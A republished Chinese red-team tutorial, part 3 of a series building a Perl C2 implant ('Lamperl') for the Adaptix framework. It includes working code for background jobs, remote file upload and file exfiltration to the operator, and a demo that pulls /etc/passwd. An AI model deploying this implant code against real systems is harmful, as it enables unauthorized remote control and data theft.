文章总结： 本文详细阐述LamperlC2框架异步Job系统的实现，通过Perl的make_async包装器结合fork与管道技术，管理后台长时间任务。实现了Job的列表查看、终止及输出获取功能，并完成了基于Base64编码的文件上传下载模块。该设计有效解决了阻塞问题，提升了C2框架的操作效率与稳定性。 综合评分： 88 文章分类： 红队,安全开发,安全工具
Lamperl 第 3 篇：文件上传、下载与 Job 控制系统
Polar
securitainment
2026年1月1日 12:50 中国香港
继续开发 Lamperl。加入 upload、download 与 job 控制。
这是 Lamperl 系列的第 3 篇。此前我们搭建了基础 agent 与 listener，随后加入了 sleep/terminate 支持，并探索了如何在 agent 的 context menu 中添加条目。
本篇将为文件 upload 与 download 增加支持，并实现一套较为完整的 job 控制系统。由于 upload 与 download 都会借助 job 系统异步执行，job 系统会占据本篇的大部分篇幅。
最初写作时我打算从 upload/download 开始，但既然这两项功能都依赖 job 系统，更合理的顺序是先把 job 系统搭好。你会看到，这样调整并不会显著改变最终实现。
理解 Jobs 与 Tasks 的区别
在进入实现之前，先澄清在 Adaptix 语境下 job 与 task 的区别：
Tasks（TYPE_TASK = 1，任务）：
- 立即执行并完成
- 在单次响应中返回结果
- 示例：
pwd、cd、cat、ls - 任务结果会被立即处理并展示给操作员
Jobs（TYPE_JOB = 3，作业）：
-
后台异步执行的操作
-
可能需要较长时间才能完成（甚至可能永远不结束）
-
会在执行过程中持续上报多次输出
-
示例：
run、download、upload、扫描、监控工具 -
job 可能会上报不同状态：
-
JOB_STATE_RUNNING -
job 仍在执行，这是当前输出
-
JOB_STATE_FINISHED -
job 已成功完成
-
JOB_STATE_KILLED -
job 被终止
在 Vulnlab 或 HackTheBox 的靶机上横向推进时，我不希望长时间运行的命令阻塞 beacon loop；agent 必须按固定节奏持续 check-in，才能在已有 job 后台执行的同时继续接收新的 job。
异步包装器模式（Async Wrapper Pattern）
job 系统的核心是一类高阶函数：它能把任意同步命令转换为异步 job。这个模式很实用：既能避免重复代码，也能让所有异步操作拥有一致的行为。
make_async 函数
# Async wrapper - converts any command function into an async job
# Usage: my $async_cmd = make_async(\&cmd_download, 'download');
# my $result = $async_cmd->($task);
submake_async {
my ($cmd_func, $command_name) = @_;
returnsub {
my ($task) = @_;
my$task_id = $task->{task_id};
# Create a pipefor output capture
pipe(my$read_fh, my$write_fh) orreturn {
command=>$command_name,
error=>"Failed to create pipe: $!",
};
my$pid = fork();
if (!defined$pid) {
close($read_fh);
close($write_fh);
return {
command=>$command_name,
error=>"Failed to fork: $!",
};
}
if ($pid == 0) {
# Child process
close($read_fh);
# Redirect STDOUTandSTDERR to pipe
open(STDOUT, '>&', $write_fh) orexit(126);
open(STDERR, '>&', $write_fh) orexit(126);
close($write_fh);
# Execute the command function andprint result as JSON
eval {
my$result = $cmd_func->($task);
print$json->encode($result);
};
if ($@) {
printSTDERR"Error: $@\n";
exit(125);
}
exit(0);
}
# Parent process
close($write_fh);
# Set non-blocking on read handle
my$flags = fcntl($read_fh, F_GETFL, 0);
warn"Can't get flags: $!"unlessdefined$flags;
fcntl($read_fh, F_SETFL, $flags | O_NONBLOCK) orwarn"Can't set non-blocking: $!";
# Store job info with output file handle
# Extract executable and args for display using dispatch table
my ($executable, $args_str) = ('', '');
if (my$display_fn = $job_display{$command_name}) {
($executable, $args_str) = $display_fn->($task);
}
$jobs{$task_id} = {
pid=>$pid,
command=>$command_name,
args=>$task,
executable=>$executable,
args_str=>$args_str,
output_fh=>$read_fh,
output=>'',
status=>'running',
start_time=>time(),
exit_code=>undef,
};
return {
command=>$command_name,
job_id=>$task_id,
pid=>$pid,
async=> 1,
%{$task}, # Include original task parameters
};
};
}
这个 wrapper 负责一整套进程管理：
- Pipe 创建：创建单向 pipe，用于捕获子进程输出
- Fork：派生子进程执行命令
- I/O 重定向：在子进程中把 STDOUT 与 STDERR 重定向到 pipe 的写端
- 命令执行：运行实际命令函数，并将其结果编码为 JSON
- 非阻塞 I/O：在父进程中把读端设置为非阻塞
- Job 注册：将完整的 job 元数据写入
%jobshash - 立即返回：把控制权交还给 beacon loop，同时返回 job 元数据
关键点在于 make_async返回的是一个 closure（闭包）：它会生成一个包裹原始命令的新函数。因此，只需一行代码就能为任意命令生成异步版本：
my$cmd_run = make_async(\&cmd_run_sync, 'run');
my$cmd_download = make_async(\&cmd_download_sync, 'download');
my$cmd_upload = make_async(\&cmd_upload_sync, 'upload');
Job 展示元数据
为了让 jobs list输出更整洁，我们实现了一个 dispatch table，用于从不同 job 类型中提取更适合展示的信息：
# Dispatch table for job display info
my%job_display = (
run=>sub { my$args = shift; return ($args->{executable} || '', $args->{args} || ''); },
download=>sub { my$args = shift; return ('download', $args->{path} || ''); },
upload=>sub { my$args = shift; return ('upload', $args->{path} || ''); },
);
这种写法能把展示逻辑集中管理，并且易于扩展：当新增异步命令时，只需要在这里补一条映射即可。
Job 状态管理
job 以 Adaptix 的 task_id为 key，统一存放在一个 hash 中进行跟踪：
my%jobs = (); # task_id=> { pid, command, args, output, output_fh, status, start_time, reported }
每个 job 条目包含：
-
pid：fork 出来的子进程 PID
-
command：命令名
-
args：完整 task 对象（便于引用）
-
executable：用于展示的可执行项名称（通过 job_display 提取）
-
args_str：用于展示的参数字符串
-
output_fh：用于读取子进程输出的非阻塞 file handle
-
output：累积输出缓冲区
-
status：当前状态（running、finished、error、killed）
-
start_time：job 创建时的 Unix 时间戳
-
exit_code：进程退出码
-
reported：布尔标记，表示是否已向 C2 上报完成
检查 Job 状态
check_jobs会在每次 beacon 之前被调用，用于更新 job 状态：
# Check job statuses
subcheck_jobs {
foreachmy$job_id (keys%jobs) {
my$job = $jobs{$job_id};
nextif$job->{status} ne'running';
# Read available output from pipe (non-blocking)
if ($job->{output_fh}) {
my$buffer;
while (sysread($job->{output_fh}, $buffer, 4096)) {
$job->{output} .= $buffer;
}
}
# Check if process has finished (non-blocking)
my$result = waitpid($job->{pid}, WNOHANG);
if ($result > 0) {
# Process has finished - read any remaining output
if (my$fh = delete$job->{output_fh}) {
my$buffer;
$job->{output} .= $bufferwhilesysread($fh, $buffer, 4096);
close($fh);
}
$job->{exit_code} = $? >> 8;
$job->{status} = 'finished';
} elsif ($result == -1) {
# Process no longer exists
close(delete$job->{output_fh}) if$job->{output_fh};
$job->{status} = 'error';
}
# result == 0 means still running
}
}
该函数会：
- 只遍历
status为 ‘running’ 的 job - 从输出 pipe 进行非阻塞读取（即使没有新数据也不会卡住）
- 在进程结束时读取并清空剩余输出
- 通过位移（
$? >> 8）提取 exit code - 处理孤儿进程（result == -1）
自动完成上报
已完成的 job 会被自动包含在下一次 beacon 中上报：
# Get completed jobs that haven't been reported yet
subget_completed_jobs {
my@completed;
foreachmy$job_id (sortkeys%jobs) {
my$job = $jobs{$job_id};
# Skip ifnot finished, killed, or already reported
nextif$job->{status} =~ /^(running|killed)$/;
nextif$job->{reported};
# Mark as reported
$job->{reported} = 1;
# Try to parse output as JSON first (for download/upload commands)
my$result = eval { $json->decode($job->{output} || '{}') };
# If JSON parsing failed, treat as raw output (for run commands)
unless ($result && ref($result) eq'HASH' && $result->{command}) {
$result = {
command=>$job->{command},
executable=>$job->{executable},
args=>$job->{args_str},
output=> process_job_output($job->{output} || '', 0),
};
}
# Always add exit code
$result->{exit_code} = $job->{exit_code} ifdefined$job->{exit_code};
# Report with original task_id so the system can update the task
push@completed, {
task_id=>$job_id,
output=>$json->encode($result),
};
}
# Clean up old jobs after reporting
cleanup_jobs();
return@completed;
}
这里需要兼容两种输出格式：
- 结构化命令（download/upload）：子进程输出 JSON，我们解析后转发
- 原始命令（run）：子进程输出纯文本，我们再包一层统一结构
上报完成时使用原始 task_id，这样 Adaptix 才能将结果与启动该 job 的 task 对应起来。
Job 清理
已完成和已终止的 job 会被自动清理：
# Clean up jobs that have been reported
subcleanup_jobs {
my@to_delete;
foreachmy$job_id (keys%jobs) {
my$job = $jobs{$job_id};
# Remove jobs that are finished and have been reported, or were killed
if (($job->{status} eq'finished' && $job->{reported}) || $job->{status} eq'killed') {
push@to_delete, $job_id;
}
}
delete@jobs{@to_delete};
}
这可以防止内存无界增长：把已被 C2 确认的 job，或被手动终止的 job，从内存中移除。
你可能也会想：“check_jobs不是会‘reap’job 吗（大概就是回收子进程的意思）？那为什么还需要两个函数？”
目前这两个函数都不可或缺：check_jobs()负责 OS 层的进程管理，cleanup_jobs()负责 Perl 数据结构的维护。整体流程如下：
-
job 启动 -> 写入
%jobs，状态为 running -
check_jobs()-> 回收子进程，将状态更新为 finished，并记录 exit code
-
get_completed_jobs()-> 向 C2 上报已完成的 job，并将
reported => 1 -
cleanup_jobs()-> 从
%jobshash 中删除该条目
Job 控制命令
基础设施就位后，我们就可以实现面向操作员的 job 控制命令。
首先是一些工具函数，用于参数校验与输出处理：
# Helper function for job validation
subvalidate_job {
my ($job_id, $command_name) = @_;
unless (defined$job_id && exists$jobs{$job_id}) {
return (undef, { command=>$command_name, error=>"Job not found: $job_id" });
}
return ($jobs{$job_id}, undef);
}
# Helper function to process job output
subprocess_job_output {
my ($output, $tail_lines) = @_;
return''unless$output;
# Decode from UTF-8 bytes to character string
eval { $output = decode('UTF-8', $output, Encode::FB_QUIET); };
# Strip ANSI escape sequences
$output =~ s/\x1b\[[0-9;]*[a-zA-Z]//g;
# Apply tail if requested
if ($tail_lines > 0) {
my@lines = split(/\n/, $output);
my$total_lines = scalar(@lines);
if ($total_lines > $tail_lines) {
my$skipped = $total_lines - $tail_lines;
@lines = @lines[-$tail_lines .. -1];
$output = "... [$skipped lines omitted]\n" . join("\n", @lines);
} else {
$output = join("\n", @lines);
}
}
# Limit output size
if (length($output) > MAX_OUTPUT_SIZE) {
$output = substr($output, 0, MAX_OUTPUT_SIZE) . "\n... [output truncated at 1MB]";
}
# Encode back to UTF-8 bytes for JSON
return encode('UTF-8', $output, Encode::FB_QUIET);
}
process_job_output是必需的，因为并非所有字符都能在 Adaptix console 中正确显示：
- UTF-8 解码
- 去除 ANSI 转义序列
- 支持 tail（如有需要只返回最后 N 行）
- 为 JSON 传输重新编码为 UTF-8
列出 Jobs
subcmd_job_list {
my ($task) = @_;
# Update job statuses before listing
check_jobs();
my@job_list = map {
my$job = $jobs{$_};
{
job_id=>$_,
pid=>$job->{pid},
executable=>$job->{executable} || '',
args=>$job->{args_str} || '',
status=>$job->{status},
start_time=>$job->{start_time},
exit_code=>$job->{exit_code},
}
} sortkeys%jobs;
return {
command=>'job_list',
jobs=> \@job_list,
};
}
该命令会返回一组结构化的 job 元数据。注意我们会先调用 check_jobs()，确保状态是最新的。
终止 Job
subcmd_job_kill {
my ($task) = @_;
my$job_id = $task->{job_id};
my ($job, $error) = validate_job($job_id, 'job_kill');
return$errorif$error;
if ($job->{status} ne'running') {
return {
command=>'job_kill',
error=>"Job $job_id is not running (status: $job->{status})",
};
}
# Kill the process and update status
my$killed = kill('TERM', $job->{pid});
$job->{status} = 'killed'if$killed;
return$killed
? { command=>'job_kill', job_id=>$job_id, pid=>$job->{pid}, killed=> 1 }
: { command=>'job_kill', error=>"Failed to kill job $job_id (PID: $job->{pid})" };
}
向进程发送 SIGTERM。我们会用单独的状态标记被终止的 job：这样它们会被清理，但不会被当作“完成”去自动上报。
获取 Job 输出
subcmd_job_get {
my ($task) = @_;
my$job_id = $task->{job_id};
my$tail_lines = $task->{tail} || 0;
my ($job, $error) = validate_job($job_id, 'job_get');
return$errorif$error;
# Update job status
check_jobs();
# Extract executable and args from stored job fields
my$executable = $job->{executable} || '';
my$args_str = $job->{args_str} || '';
# Process output
my$output = process_job_output($job->{output} || '', $tail_lines);
return {
command=>'job_get',
job_id=>$job_id,
pid=>$job->{pid},
executable=>$executable,
args=>$args_str,
status=>$job->{status},
start_time=>$job->{start_time},
exit_code=>$job->{exit_code},
output=>$output,
tail=>$tail_lines,
};
}
该命令允许操作员在不等待 job 完成的情况下查看运行中的输出。tail参数尤其适合监控持续输出的操作，例如 pspy。
最后，把这些新命令加入 dispatch table：
my%COMMANDS = (
pwd=> \&cmd_pwd,
cd=> \&cmd_cd,
run=>$cmd_run,
download=>$cmd_download,
upload=>$cmd_upload,
sleep=> \&cmd_sleep,
terminate=> \&cmd_terminate,
job_list=> \&cmd_job_list,
job_kill=> \&cmd_job_kill,
job_get=> \&cmd_job_get,
);
Jobs 的 Adaptix 配置
ax_config.axs (Jobs 配置)
job 命令采用 subcommand 结构，便于组织：
let_cmd_job_get=ax.create_command("get", "Get job output", "jobs get 1a2b3c4d", "Task: get job output");
_cmd_job_get.addArgString("job_id", true, "Job ID to retrieve");
_cmd_job_get.addArgInt("tail", false, "Return only last N lines (0 = all)");
let_cmd_job_list=ax.create_command("list", "List of jobs", "jobs list", "Task: show jobs");
let_cmd_job_kill=ax.create_command("kill", "Kill a specified job", "jobs kill 1a2b3c4d", "Task: kill job");
_cmd_job_kill.addArgString("job_id", true, "Job ID to kill");
letcmd_job=ax.create_command("jobs", "Long-running tasks manager");
cmd_job.addSubCommands([_cmd_job_get, _cmd_job_list, _cmd_job_kill]);
这样就形成了清晰的命令层级：jobs list、jobs get <id> [<tail>]、jobs kill <id>。
别忘了把它加入命令组：
if(listenerType=="LamperlHTTP") {
letcommands_external=ax.create_commands_group("Lamperl",
[cmd_pwd, cmd_cd, cmd_sleep, cmd_terminate, cmd_run, cmd_download, cmd_upload, cmd_job]);
return { commands_linux:commands_external }
}
pl_agent.go – CreateTask (任务创建)
CreateTask 需要正确路由 subcommand：
case"jobs":
// Handle subcommands
switch subcommand {
case"list":
commandData["command"] ="job_list"
case"kill":
commandData["command"] ="job_kill"
jobId, ok:= args["job_id"].(string)
if!ok {
err= errors.New("parameter 'job_id' must be set")
return taskData, messageData, err
}
commandData["job_id"] = jobId
case"get":
commandData["command"] ="job_get"
jobId, ok:= args["job_id"].(string)
if!ok {
err= errors.New("parameter 'job_id' must be set")
return taskData, messageData, err
}
commandData["job_id"] = jobId
iftail, ok:= args["tail"].(float64); ok && tail >0 {
commandData["tail"] =int(tail)
}
default:
err= fmt.Errorf("unknown jobs subcommand: %s", subcommand)
return taskData, messageData, err
}
pl_agent.go – ProcessTasksResult (任务结果处理)
ProcessTasksResult的一个重要改动：我们改用 task.Message和 task.ClearText，不再使用 TsAgentConsoleOutput。这能更好地与 Adaptix 的 Task Manager 集成：
如你所见，task.Message会显示在 message 字段，查看任务输出时也会显示在顶栏；而 task.ClearText只会写入任务输出视图。两者都会展示给操作员，但存储位置不同。
下面是相关代码：
case"job_list":
iferrMsg:=getString(outputData, "error"); errMsg !="" {
task.Message= fmt.Sprintf("Error: %s", errMsg)
task.MessageType= MESSAGE_ERROR
} else {
jobsData, ok:= outputData["jobs"].([]interface{})
if!ok ||len(jobsData) ==0 {
task.Message="No background jobs"
} else {
task.Message="Background Jobs"
var jobsOutput string
jobsOutput="Background Jobs:\n"
jobsOutput += fmt.Sprintf("%-10s%-8s%-12s%s\n", "Job ID", "PID", "Status", "Command")
jobsOutput += strings.Repeat("-", 80) +"\n"
for_, jobInterface:=range jobsData {
job, ok:= jobInterface.(map[string]interface{})
if!ok {
continue
}
jobId:=getString(job, "job_id")
pid:=getInt(job, "pid")
status:=getString(job, "status")
executable:=getString(job, "executable")
args:=getString(job, "args")
// Combine executable and args into command
cmdStr:= executable
if args !="" {
cmdStr= fmt.Sprintf("%s%s", executable, args)
}
jobsOutput += fmt.Sprintf("%-10s%-8d%-12s%s\n", jobId, pid, status, cmdStr)
}
task.ClearText= jobsOutput
}
}
case"job_kill":
iferrMsg:=getString(outputData, "error"); errMsg !="" {
task.Message= fmt.Sprintf("Error: %s", errMsg)
task.MessageType= MESSAGE_ERROR
} else {
jobId:=getString(outputData, "job_id")
pid:=getInt(outputData, "pid")
task.Message= fmt.Sprintf("Killed job %s (PID: %d)", jobId, pid)
// Also update the original task that started this job
originalTask:= adaptix.TaskData{
Type: TYPE_TASK,
TaskId: jobId,
AgentId: agentData.Id,
Completed: true,
MessageType: MESSAGE_SUCCESS,
Message: fmt.Sprintf("Job killed (PID: %d)", pid),
}
outTasks=append(outTasks, originalTask)
}
注意：job_kill的 handler 会额外生成一次 task 更新，用于在手动 kill 时，将启动该 job 的原始 task 在 Task Manager 中标记为已完成。
case"job_get":
iferrMsg:=getString(outputData, "error"); errMsg !="" {
task.Message= fmt.Sprintf("Error: %s", errMsg)
task.MessageType= MESSAGE_ERROR
} else {
outputStr:=getString(outputData, "output")
executable:=getString(outputData, "executable")
args:=getString(outputData, "args")
jobId:=getString(outputData, "job_id")
status:=getString(outputData, "status")
// Build command string for header
cmdStr:= executable
if args !="" {
cmdStr= fmt.Sprintf("%s%s", executable, args)
}
if outputStr !="" {
task.Message= fmt.Sprintf("Job %s output: %s", jobId, cmdStr)
task.ClearText= outputStr
} else {
task.Message= fmt.Sprintf("Job %s - Status: %s (no output yet)", jobId, status)
}
}
至此，我们就拥有了一套可用的 job 系统。
ax_config.axs – Context Menu 集成
为了方便起见，我们还可以把 job 控制加入 Task Manager 的右键菜单：
lettask_get_action=menu.create_action("Get task output", function(tasks_list) {
tasks_list.forEach((task) => {
if(task.state=="Running") {
ax.execute_command(task.agent_id, "jobs get "+task.task_id);
}
});
});
menu.add_tasks(task_get_action, ["Lamperl"])
lettask_stop_action=menu.create_action("Stop task", function(tasks_list) {
tasks_list.forEach((task) => {
if(task.state=="Running") {
ax.execute_command(task.agent_id, "jobs kill "+task.task_id);
}
});
});
menu.add_tasks(task_stop_action, ["Lamperl"])
这样就可以在运行中的 task 上右键查看输出或直接 kill；我认为这比手动敲命令更顺手。实现几乎完全参考了官方 AxScript 文档。
文件上传
相比搭建 job 基础设施，upload 的实现就简单得多。
Perl 实现
先写实际执行上传的同步版本：
subcmd_upload_sync {
my ($task) = @_;
my$path = $task->{path};
my$content_b64 = $task->{content};
# Validate and decode
unless ($path && $content_b64) {
return { command=>'upload', path=>$path || '', output=>'Missing path or content' };
}
my$content = decode_base64($content_b64);
# Resolve path
my$target_path = $path =~ m{^/} ? $path : "$current_directory/$path";
# Write file
my$output = do {
if (open(my$fh, '>:raw', $target_path)) {
print$fh$content;
close($fh);
'success';
} else {
"Failed to write file: $!";
}
};
return { command=>'upload', path=>$path, output=>$output };
}
我们从 server 端获取 base64 编码的数据，解码后把原始内容写入文件。接着把它封装为异步执行：
my$cmd_upload = make_async(\&cmd_upload_sync, 'upload');
记得把这个函数加入 dispatch table。
就这些：upload 的核心实现只有这两步。不过这里还有个问题：如果你按当前实现直接使用 upload，会遇到 JSON 解析错误。下一节我们会修复它。
HTTP 分块传输编码（Chunked Transfer Encoding）
由于文件上传使用 HTTP chunked transfer encoding，我们需要更新响应解析器来正确处理这种情况：
# Parse response body
returnundefunless$response;
# Split headers and body
my ($headers, $body) = split(/\r?\n\r?\n/, $response, 2);
returnundefunless$body;
# Check if response is chunked
if ($headers =~ /Transfer-Encoding:\s*chunked/i) {
# Decode chunked encoding
my$decoded = '';
while ($body =~ s/^([0-9a-fA-F]+)\r?\n//) {
my$chunk_size = hex($1);
lastif$chunk_size == 0;
$decoded .= substr($body, 0, $chunk_size, '');
$body =~ s/^\r?\n//; # Remove trailing CRLF
}
$body = $decoded;
}
printSTDERR"[DEBUG] Body after parsing: $body\n";
my$data = eval { $json->decode($body) };
这个 decoder 的逻辑是：
- 读取 chunk size（十六进制）
- 从 body 中取出对应字节数
- 去掉末尾的 CRLF
- 反复执行，直到遇到长度为 0 的 chunk
至此，Perl 侧的 upload 功能就完成了，接下来进入框架侧配置。
Adaptix 配置 – Upload
ax_config.axs (Upload 配置)
letcmd_upload=ax.create_command("upload", "Upload files", "upload /local/path/file.txt /remote/path/file.txt", "Task: upload");
cmd_upload.addArgFile("local_file", true);
cmd_upload.addArgString("remote_path", true);
我们使用 addArgFile，让 API 负责解析文件，而不是手工处理。
pl_agent.go – CreateTask (任务创建)
在这个函数里，我们先校验路径，然后把文件编码为 base64 再发送出去。
case"upload":
taskData.Type= TYPE_JOB
remotePath, ok:= args["remote_path"].(string)
if!ok {
err= errors.New("parameter 'remote_path' must be set")
return taskData, messageData, err
}
// Get file content from file_id
var fileContent []byte
iffileId, ok:= args["file_id"].(string); ok && fileId !="" {
fileContent, err= ts.TsUploadGetFileContent(fileId)
if err !=nil {
return taskData, messageData, err
}
} elseiflocalFile, ok:= args["local_file"].(string); ok && localFile !="" {
// Fallback to base64 encoded content
fileContent, err= base64.StdEncoding.DecodeString(localFile)
if err !=nil {
return taskData, messageData, err
}
} else {
err= errors.New("parameter 'file_id' or 'local_file' must be set")
return taskData, messageData, err
}
// Base64 encode for JSON transport
base64Content:= base64.StdEncoding.EncodeToString(fileContent)
commandData["path"] = remotePath
commandData["content"] = base64Content
这里支持两种输入方式：
-
file_id：通过 Adaptix 上传的文件
-
local_file：直接提供的 base64 编码内容
pl_agent.go – ProcessTasksResult (任务结果处理)
case"upload":
task.Type= TYPE_JOB
asyncVal:=getInt(outputData, "async")
if asyncVal !=0 {
// Job start confirmation
jobId:=getString(outputData, "job_id")
pid:=getInt(outputData, "pid")
path:=getString(outputData, "path")
task.Completed=false
task.Message= fmt.Sprintf("Uploading to: %s", path)
task.ClearText= fmt.Sprintf("Job %s (PID: %d) started in background", jobId, pid)
} elseiferrMsg:=getString(outputData, "error"); errMsg !="" {
// Error before job started
task.Message= fmt.Sprintf("Upload error: %s", errMsg)
task.MessageType= MESSAGE_ERROR
} else {
// Completion report from finished job
path:=getString(outputData, "path")
outputStr:=getString(outputData, "output")
success:= outputStr =="success"
if success {
task.Message= fmt.Sprintf("Upload completed: %s", path)
task.MessageType= MESSAGE_SUCCESS
} else {
errorMsg:= outputStr
if errorMsg =="" {
errorMsg="Unknown error"
}
task.Message= fmt.Sprintf("Failed to upload to %s: %s", path, errorMsg)
task.MessageType= MESSAGE_ERROR
}
}
三种状态处理逻辑如下：
-
async != 0：job 已启动，展示确认信息
-
存在
error：job 在启动前失败 -
其他情况：来自自动上报系统的完成回报
文件下载
download 复用同样的模式。
Perl 实现
subcmd_download_sync {
my ($task) = @_;
my$path = $task->{path};
my$task_id = $task->{task_id};
# Helper for empty response
my$empty_response = sub {
return { command=>'download', path=>$path || '', file_id=>'', size=> 0, content=>'' };
};
# Validate path
return$empty_response->() unless ($path && -e$path && !-d$path);
# Read and encode file
open(my$fh, '<:raw', $path) orreturn$empty_response->();
my$content = do { local$/; <$fh> };
close($fh);
return {
command=>'download',
path=>$path,
file_id=>$task_id,
size=>length($content),
content=> encode_base64($content, ''),
};
}
my$cmd_download = make_async(\&cmd_download_sync, 'download');
empty_response这个 closure 为错误情况提供了一致的返回结构。整体流程是：把文件读入内存，base64 编码后返回。
Adaptix 配置 – Download
ax_config.axs (Download 配置)
letcmd_download=ax.create_command("download", "Download files", "download /path/file.txt", "Task: download");
cmd_download.addArgString("file", true);
pl_agent.go – CreateTask (任务创建)
CreateTask中 download 的分支很简单：只需验证用户提供了目标文件路径。
case"download":
taskData.Type= TYPE_JOB
path, ok:= args["file"].(string)
if!ok {
err= errors.New("parameter 'file' must be set")
return taskData, messageData, err
}
commandData["path"] = path
pl_agent.go – ProcessTasksResult (任务结果处理)
这里会在 download 开始时先显示一条消息；完成后再把 base64 解码并保存，使其能在 downloads tab 中被访问。
case"download":
task.Type= TYPE_JOB
// Check if this is async job start
asyncVal:=getInt(outputData, "async")
if asyncVal !=0 {
jobId:=getString(outputData, "job_id")
pid:=getInt(outputData, "pid")
path:=getString(outputData, "path")
task.Completed=false
task.Message= fmt.Sprintf("Downloading: %s", path)
task.ClearText= fmt.Sprintf("Job %s (PID: %d) started in background", jobId, pid)
} elseiferrMsg:=getString(outputData, "error"); errMsg !="" {
task.Message= fmt.Sprintf("Download error: %s", errMsg)
task.MessageType= MESSAGE_ERROR
} else {
// Completion report from finished job
path:=getString(outputData, "path")
fileId:=getString(outputData, "file_id")
sizeFloat, _:= outputData["size"].(float64)
size:=int(sizeFloat)
contentB64:=getString(outputData, "content")
if contentB64 ==""|| size ==0 {
task.Message= fmt.Sprintf("Download failed: %s (file not found or empty)", path)
task.MessageType= MESSAGE_ERROR
} else {
// Decode base64 content
fileContent, err:= base64.StdEncoding.DecodeString(contentB64)
if err !=nil {
task.Message= fmt.Sprintf("Error decoding downloaded file %s: %s", path, err.Error())
task.MessageType= MESSAGE_ERROR
} else {
// Extract filename from path
fileName:= path
ifidx:= strings.LastIndex(path, "/"); idx !=-1 {
fileName= path[idx+1:]
}
// Save file using C2 bindings
err:= ts.TsDownloadSave(agentData.Id, fileId, fileName, fileContent)
if err !=nil {
task.Message= fmt.Sprintf("Error saving downloaded file %s: %s", path, err.Error())
task.MessageType= MESSAGE_ERROR
} else {
task.Message= fmt.Sprintf("Download completed: %s", fileName)
task.MessageType= MESSAGE_SUCCESS
task.ClearText= fmt.Sprintf("Size: %d bytes\nFile ID: %s", size, fileId)
}
}
}
}
关键调用是 ts.TsDownloadSave()：它把文件存入 Adaptix 的 download tab，供操作员在 UI 中下载。
测试 / 演示
run /Tools/nmap
jobs list
jobs get <id>
jobs kill <id>
download /etc/passwd
upload /etc/passwd passtest
结论
我们实现了一套 job 控制系统，具备：
- 通过可复用的高阶 wrapper 实现异步执行
- 使用 pipe 与 fcntl 实现非阻塞 I/O
- 与 beacon loop 集成的自动完成上报
- 支持 list/get/kill 的 job 管理
- 文件传输（upload/download）
- 通过 Task Manager 右键菜单完成 UI 集成
make_async模式非常强大：它能用极少的代码，把任意同步操作变成可后台运行的 job。
另一个重要改动是从 TsAgentConsoleOutput切换到 task.Message与 task.ClearText：除了向操作员展示输出外，还会把 task 与 job 的输出持久化到 server 侧。
希望这篇文章对你有帮助或启发。下一篇我们会处理网络 pivoting 能力：本地端口转发、远程端口转发，以及 SOCKS proxy 支持。
本次迭代的完整代码已发布在 GitHub：
- Lamperl 第 3 篇 GitHub 仓库
Lamperl pt 3 (Uploads, Downloads, Job Control)
免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。
免责声明：
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。
任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。
本文转载自：securitainment Polar《Lamperl 第 3 篇：文件上传、下载与 Job 控制系统》
版权声明
本站仅做备份收录，仅供研究与教学参考之用。
读者将信息用于其他用途的，全部法律及连带责任由读者自行承担，本站不承担任何责任。
评论